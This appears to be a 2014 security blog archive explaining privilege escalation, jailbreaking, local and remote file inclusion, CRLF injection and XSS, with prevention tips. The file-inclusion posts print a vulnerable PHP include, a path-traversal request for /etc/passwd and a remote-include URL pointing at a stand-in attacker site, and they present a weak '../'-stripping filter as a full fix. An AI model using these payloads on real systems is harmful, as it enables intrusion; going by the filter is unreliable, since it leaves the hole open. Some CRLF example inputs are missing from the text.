Internet Explorer is implemented as both a 32-bit and a 64-bit application because of the large number of 32-bit ActiveX components on the Internet that would not be able to plug into the 64-bit version. The 32-bit version is used by default and the 64-bit version cannot be set to be the default browser.

~ jeudi 1 mai 2014 0 commentaires

Privilege Escalation


Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions.
Privilege escalation means a user receives privileges they are not entitled to. These privileges can be used to delete files, view private information, or install unwanted programs such as viruses. It usually occurs when a system has a bug that allows security to be bypassed or, alternatively, has flawed design assumptions about how it will be used. Privilege escalation occurs in two forms:
  1. Vertical privilege escalation, also known as privilege elevation, where a lower privilege user or application accesses functions or content reserved for higher privilege users or applications (e.g. Internet Banking users can access site administrative functions or the password for a smartphone can be bypassed.)
  2. Horizontal privilege escalation, where a normal user accesses functions or content reserved for other normal users (e.g. Internet Banking User A accesses the Internet bank account of User B)

Vertical Privilege Escalation 

This type of privilege escalation occurs when the user or process is able to obtain a higher level of access than an administrator or system developer intended, possibly by performing kernel-level operations.

Examples of vertical privilege escalation
In some cases a high-privilege application assumes that it will only be provided with input that matches its interface specification, and doesn't validate the input. An attacker may then be able to exploit this assumption so that unauthorized code is run with the application's privileges:
  • Some Windows services are configured to run under the Local System user account. A vulnerability such as a buffer overflow may be used to execute arbitrary code with privilege elevated to Local System. Alternatively, a system service that is impersonating a lesser user can elevate that user's privileges if errors are not handled correctly while the user is being impersonated (e.g. if the user has introduced a malicious error handler)
  • Under some legacy versions of the Microsoft Windows operating system, the All Users screensaver runs under the Local System account - any account that can replace the current screensaver binary in the file system or Registry can therefore elevate privileges.
  • In certain versions of the Linux kernel it was possible to write a program that would set its current directory to /etc/cron.d, request that a core dump be performed in case it crashes and then have itself killed by another process. The core dump file would have been placed at the program's current directory, that is, /etc/cron.d, and cron would have treated it as a text file instructing it to run programs on schedule. Because the contents of the file would be under attacker’s control, the attacker would be able to execute any program with root privileges.
  • Cross Zone Scripting is a type of privilege escalation attack in which a website subverts the security model of web browsers so that it can run malicious code on client computers.
  • There are also situations where an application can use other high privilege services and has incorrect assumptions about how a client could manipulate its use of these services. An application that can execute Command line or shell commands could have a Shell Injection vulnerability if it uses unvalidated input as part of an executed command. An attacker would then be able to run system commands using the application's privileges.
  • Texas Instruments calculators (particularly the TI-85 and TI-82) were originally designed to use only interpreted programs written in dialects of TI-BASIC; however, after users discovered bugs that could be exploited to allow native Z-80 code to run on the calculator hardware, TI released programming data to support third-party development. (This did not carry on to the ARM-based TI-Nspire, for which jailbreaks have been found but are still actively fought against by Texas Instruments.)
  • Some versions of the iPhone allow an unauthorised user to access the phone while it is locked.

Jailbreaking

A jailbreak is the act or tool used to perform the act of breaking out of a chroot or jail in UNIX-like operating systems or bypassing digital rights management (DRM).
In the former case, it allows the user to see files outside of the filesystem that the administrator intends to make available to the application or user in question. In the context of DRM, this allows the user to run arbitrarily defined code on devices with DRM as well as break out of chroot-like restrictions. The term originated with the iPhone/iOS jailbreaking community and has also been used as a term for PlayStation Portable hacking; these devices have repeatedly been subject to jailbreaks, allowing the execution of arbitrary code, and sometimes have had those jailbreaks disabled by vendor updates.
iOS systems including the iPhone, iPad, and iPod touch have been subject to iOS jailbreaking efforts since they were released, and continuing with each firmware update. iOS jailbreaking tools include the option to install Cydia, a third-party alternative to the App Store, as a way to find and install system tweaks and binaries. To prevent iOS jailbreaking, Apple has made the device boot ROM execute checks for SHSH blobs in order to disallow uploads of custom kernels and prevent software downgrades to earlier, jailbreakable firmwares. In an "untethered" jailbreak, the iBoot environment is changed to execute a boot ROM exploit and allow submission of a patched low level bootloader or hack the kernel to submit the jailbroken kernel after the SHSH check.
A similar method of jailbreaking exists for S60 Platform smartphones, which involves installing softmod-style patches which involves patching certain ROM files while loaded in RAM or edited firmware (similar to the M33 hacked firmware used for the PlayStation Portable) to circumvent restrictions on unsigned code. Nokia has since issued updates to curb unauthorised jailbreaking, in a manner similar to Apple.

Prevention Strategies

Operating systems and users can use the following strategies to reduce the risk of privilege escalation:
  • Data Execution Prevention
  • Address space layout randomization (to make it harder for buffer overruns to execute privileged instructions at known addresses in memory)
  • Running applications with least privilege (for example by running Internet Explorer with the Administrator SID disabled in the process token) in order to reduce the ability of buffer overrun exploits to abuse the privileges of an elevated user.
  • Requiring kernel mode code to be digitally signed.
  • Use of up-to-date antivirus software
  • Patching
  • Use of compilers that trap buffer overruns
  • Encryption of software and/or firmware components.
Horizontal Privilege Escalation

Horizontal privilege escalation occurs when an application allows the attacker to gain access to resources which normally would have been protected from an application or user. The result is that the application performs actions with the same but different security context than intended by the application developer or system administrator; this is effectively a limited form of privilege escalation (specifically, the unauthorized assumption of the capability of impersonating other users).

Examples of horizontal privilege escalation
This problem often occurs in web applications. Consider the following example:
  • User A has access to his/her bank account in an Internet Banking application.
  • User B has access to his/her bank account in the same Internet Banking application.
  • The vulnerability occurs when User A is able to access User B's bank account by performing some sort of malicious activity.
This malicious activity may be possible due to common web application weaknesses or vulnerabilities. Potential web application vulnerabilities or situations that may lead to this condition include:
  • Predictable session ID's in the user's HTTP cookie
  • Session fixation
  • Cross-site Scripting
  • Easily guessable passwords
  • Theft or hijacking of session cookies
  • Keystroke logging
Preventing Privilege Escalation Vulnerabilities

Review those logs
Time-consuming, tedious, and absolutely necessary for the health of your network: review your log files. Once you understand what "normal" looks like for your network, you're more likely to spot dangerous abnormalities.
What should you look for? In two words: weird stuff. Examples: You know John is on vacation at Disney World, and his laptop is sitting in your office, but someone keeps logging into your network as John. Time to investigate. If, normally, your Web server can run six weeks at a time without requiring a reboot, but it rebooted itself three times last night, some attacker may be trying to perfect his buffer overflow attack against it. If your database server is locked in a closet in your server farm but the log files report a console login attempt on that server (which has no keyboard), investigate further. Get the idea?

Keep up-to-date on patches
Another painful but necessary task. We're surprised to see the Frethem virus spreading as we write this, because it works primarily on Internet Explorer systems that have not been updated in over a year. A diligent sys admin may patch daily. Lately, advisories about buffer overflows are being reported in the popular press. You can't assume "no one knows about them." Plug all known holes.

Use passphrases
We have often advised in LiveSecurity articles, "Use strong passwords." The problem with passwords that are cryptographically strong (e.g., "1@3gg]+nP915f~") is that no one can remember them, and they're hard to type. A nice balance between that and a too-easy password (e.g., "John") is the pass phrase. Try using bits of poetry, lines from plays or movies, anything lengthy but memorable. In Star Wars: A New Hope, an embarrassed Han Solo tells his mocking sidekick Chewbacca, "Laugh it up, fuzzball." Modified slightly to "L4ugh it up, Fu22ball!" you have a strong passphrase, hard for an attacker to brute force or guess, but easy for you to live with. Pick your own favorite. Just don't read it from anything hanging near your workstation.

Manage settings aggressively
Sure, it's easier to set your firewall to permit "Any" to "all." But that's not secure. Work out a security policy that grants employees the minimum amount of access they need to do their jobs. Then set your routers, switches, and firewalls to enforce the policy. While you're at it, consider installing interdepartmental firewalls: that way, if an attacker breaks in somewhere, you've limited the damage to a smaller network segment.

Further countermeasures are really up to application developers. Buffer overflows don't succeed in a well-written program. But you can't do a lot about that right now. What you can do is make sure your people use strong credentials, then protect those credentials.

~ vendredi 25 avril 2014 0 commentaires

File Inclusion


File inclusion attack is an attack in which an attacker can execute a file in a webpage. This type of attack can happen due to the improper filtering of user data supplied. Due to this vulnerability the attacker can execute script, stole data. By leveraging the vulnerability in PHP an attacker can execute command to do different attacks.
File inclusion attack are of two type :
  1. Local File Inclusion.
  2. Remote File Inclusion.


Local File Inclusion (LFI)

In LFI the attacker can take the advantage of improper filtering and can take advantage. The following PHP vulnerable to LFI :

$file = $_GET['file'];
if(isset($file))
{
include(“pages/$file”);
}
else
{
include(“index.php”);
}
?>

The original request will look like this:
http://www.test.com/index.php?id =contact.php
The attacker will execute the following script:
http://www.test.com/index.php?id =../../../../etc/passwd
This will give the password on the server
The countermeasure of this attack is to modify the php $file variable script as follows:
$file = str_replace(‘../’, ‘ ’, $_GET[‘file’]);
The LFI attack will not work after replacing above line.

Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is an attack that targets the computer servers that run Web sites and their applications. RFI exploits are most often attributed to the PHP programming language used by many large firms including Facebook and SugarCRM. However, RFI can manifest itself in other environments and was in fact introduced initially as "SHTML injection". RFI works by exploiting applications that dynamically reference external scripts indicated by user input without proper sanitation. As a consequence, the application can be instructed to include a script hosted on a remote server and thus execute code controlled by an attacker. The executed scripts can be used for temporary data theft or manipulation, or for a long term takeover of the vulnerable server.
Remote File Inclusion (RFI) is caused by insufficient validation of user input provided as parameters to a Web application. Parameters that are vulnerable to RFI enable an attacker to include code from a remotely hosted file in a script executed on the application’s server. Since the attacker’s code is thus executed on the Web server it might be used for temporary data theft or manipulation, or for a long term takeover of the vulnerable server.
The RFI attack vector includes a URL reference to the remotely hosted code. Most attacks include two steps.
  • In the first step, the attack vector references a simple validation script, usually capable of printing some distinguished output to the HTML page. If the validation script is successfully executed by the server under attack,
  • The attacker proceeds with a second vector that references the actual payload script. The servers hosting the script are either compromised servers or file sharing services.
The remote file inclusion attack allow an attacker to execute from anywhere a malicious file/script.
The vulnerability exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website. With RFL attack an attacker can get access of the server.
Let the vulnerable page is :
http://www.test.com/index.php?page =office
This web page is getting  a document in the text format from server which include php include function to get the page.
The attacker can execute a script instead of the genuine page as follows:
http://www.test.com/index.php?page =http://www.hackersite.com/maliciousscript.txt

Preventing File Inclusions (RFI - LFI) Vulnerabilities

The most common protection mechanism against RFI attacks is based on signatures for known vulnerabilities in the Web Application Firewall (WAF). Detection and blocking of such attacks can be enhanced by creating a blacklist of attack sources and a black-list of URLs of remotely included malicious scripts:
  • Advanced knowledge of RFI attack sources enables the WAF to block an attack before it even begins.
  • A blacklist of the referenced URL enables the WAF to block exploits targeting zero-day vulnerabilities of applications.
  • The blacklist of IPs constructed from the RFI attack observations could be used to block other types of attacks issued from the same malicious sources.

Like it ? Share it.

~ vendredi 11 avril 2014 0 commentaires

HTTP response splitting


HTTP response splitting is a form of web application vulnerability, resulting from the failure of the application or its environment to properly sanitize input values. It can be used to perform cross-site scripting attacks, cross-user defacement, web cache poisoning, and similar exploits.

The attack consists of making the server print a carriage return (CR, ASCII 0x0D) line feed (LF, ASCII 0x0A) sequence followed by content supplied by the attacker in the header section of its response, typically by including them in input fields sent to the application. Per the HTTP standard (RFC 2616), headers are separated by one CRLF and the response's headers are separated from its body by two. Therefore, the failure to remove CRs and LFs allows the attacker to set arbitrary headers, take control of the body, or break the response into two or more separate responses—hence the name.


CRLF Injection

CRLF refers to the special character elements "Carriage Return" and "Line Feed". These elements are embedded in HTTP headers and other software code to signify an End of Line (EOL) marker. Many internet protocols, including MIME (e-mail), NNTP (newsgroups) and more importantly HTTP use CRLF sequences to split text streams into discrete elements. Web application developers split HTTP and other headers based on where CRLF is located. Exploits occur when an attacker is able to inject a CRLF sequence into an HTTP stream. By introducing this unexpected CRLF injection, the attacker is able to maliciously exploit CRLF vulnerabilities in order to manipulate the web application's functions.
A more formal name for CRLF Injection is Improper Neutralization of CRLF Sequences. Because CRLF injection is frequently used to split HTTP responses, it can also be designated as HTTP Response Splitting or Improper Neutralization of CRLF Sequences in HTTP Headers.

Key Concepts of CRLF Injection

CRLF Injection is a software application coding vulnerability that occurs when an attacker injects a CRLF character sequence where it is not expected. When CRLF Injection is used to split a HTTP response header it is referred to as HTTP Response Splitting. CRLF Injection vulnerabilities result from data input that is not neutralized, incorrectly neutralized, or otherwise unsanitized.
Attackers provide specially crafted text streams with CRLF injections in order to trick the web application to perform unexpected and potentially harmful actions ranging from medium to high severity. Attackers exploit the CRLF Injection vulnerability by injecting CRLF sequences in order to split a text stream to embed text sequences that the web application is not expecting. These unexpected CRLF injections can result in a security breach and cause material harm.
CRLF Injection exploits security vulnerabilities at the application layer. By exploting the CRLF Injection flaw in an HTTP response for example, attackers can modify application data compromising integrity and enabling the exploitation of the following vulnerabilities:
  • XSS or Cross Site Sripting vulnerabilities
  • Proxy and web server cache poisoning
  • Web site defacement
  • Hijacking the client's session
  • Client web browser poisoning
Explaining CRLF Injection Through Examples

Let's examine how CRLF Injections cause damage by looking at one of the most basic example of a CRLF attack: adding fake entries into log files. Suppose a vulnerable application accepts unsanitized or improperly neutralized data and writes it to a system log file. An attacker supplies the following input:

Because this error is fake, a sysadmin may waste a lot of time troubleshooting a non-existent error. An attacker could use this type of Trojan to distract the admin while attacking the system somewhere else.
Another way to illustrate how CRLF Injections can cause severe harm is through an application that accepts a file name as user input and then executes a relatively harmless command on that file such as "ls –a ." If the application is vulnerable to CRLF injection because of improperly neutralized or unsanitized data input, an attacker could provide the following input:

This CRLF Injection attack could wipe out the entire file system if the application were running with root privileges on a linux/unix system!

Preventing HTTP Response Splitting Vulnerabilities

Fortunately, HTTP response splitting are easy to prevent:
Always follow the rule of never trusting user input
Sanitize and neutralize all user supplied data or properly encode output in HTTP headers that would otherwise be visible to users in order to prevent the injection of CRLF sequences and their consequences.

Like it ? Share it.

~ vendredi 4 avril 2014 0 commentaires

Cross-Site Scripting (XSS)


Cross-Site Scripting (also known as XSS) is one of the most common application-layer web attacks. XSS vulnerabilities target scripts embedded in a page which are executed on the client-side (in the user’s web browser) rather than on the server-side. XSS in itself is a threat which is brought about by the internet security weaknesses of client-side scripting languages such as HTML and JavaScript. The concept of XSS is to manipulate client-side scripts of a web application to execute in the manner desired by the malicious user. Such a manipulation can embed a script in a page which can be executed every time the page is loaded, or whenever an associated event is performed.
XSS is the most common security vulnerability in software today. This should not be the case as XSS is easy to find and easy to fix. XSS vulnerabilities can have consequences such as tampering and sensitive data theft.


Key Concepts of a Cross-Site Scripting Attack
  1. XSS is a Web-based attack performed on vulnerable Web applications
  2. In XSS attacks, the victim is the user and not the application
  3. In XSS attacks, malicious content is delivered to users using JavaScript
Explaining Cross-Site Scripting

An XSS vulnerability arises when Web applications take data from users and dynamically include it in Web pages without first properly validating the data. XSS vulnerabilities allow an attacker to execute arbitrary commands and display arbitrary content in a victim user's browser. A successful XSS attack leads to an attacker controlling the victim’s browser or account on the vulnerable Web application. Although XSS is enabled by vulnerable pages in a Web application, the victims of an XSS attack are the application's users, not the application itself. The potency of an XSS vulnerability lies in the fact that the malicious code executes in the context of the victim's session, allowing the attacker to bypass normal security restrictions.

XSS Attack Examples
  • Reflective XSS - There are many ways in which an attacker can entice a victim into initiating a reflective XSS request. For example, the attacker could send the victim a misleading email with a link containing malicious JavaScript. If the victim clicks on the link, the HTTP request is initiated from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then reflected back to the victim's browser, where it is executed in the context of the victim user's session.
  • Persistent XSS - Consider a Web application that allows users to enter a user name which is displayed on each user’s profile page. The application stores each user name in a local database. A malicious user notices that the Web application fails to sanitize the user name field and inputs malicious JavaScript code as part of their user name. When other users view the attacker’s profile page, the malicious code automatically executes in the context of their session.
Identifying Cross-Site Scripting Vulnerabilities

XSS vulnerabilities may occur if:
  • Input coming into Web applications is not validated
  • Output to the browser is not HTML encoded
Impact of Cross-Site Scripting

When attackers succeed in exploiting XSS vulnerabilities, they can gain access to account credentials. They can also spread Web worms or access the user’s computer and view the user’s browser history or control the browser remotely. After gaining control to the victim’s system, attackers can also analyze and use other intranet applications.
By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:
  • Hijack an account
  • Spread Web worms
  • Access browser history and clipboard contents
  • Control the browser remotely
  • Scan and exploit intranet appliances and applications
Preventing Cross Site Scripting (XSS) Vulnerabilities

XSS can only be prevented by carefully sanitizing all input which is not known to be secure. Classes of input which is known NOT to be secure include:
  • HTTP referrer objects
  • The URL
  • GET parameters
  • POST parameters
  • Window.location
  • Document.referrer
  • document.location
  • document.URLUnencoded
  • All headers
  • Cookie data
  • Potentially data from your own database (if not properly validated on input)
Preventing XSS is an arduous job - all the values found via the above method must be checked for XSS attack vectors, which come in many forms. For instance, the same XSS code may come in a dozen different forms, based on how it is encoded and special characters placed inside.
If it is possible to whitelist data being input, then create a careful filter to whitelist the input.
Alternately, if the data is never output to a user's browser, then it cannot be used in an XSS attack. Be careful relying on this method, as other attacks, such as HTTP Response Header Splitting or SQL Injection attacks use similar untrusted data sources to perform other types of attacks.
The best defense is to escape all user input. The level of escaping and how it should be implemented will be dependent on the specific site requirements. For instance, some sites wish to allow users to add some HTML tags, while others have no need of such functionality, and can more aggressively scan.

Like it ? Share it.

~ jeudi 27 mars 2014 0 commentaires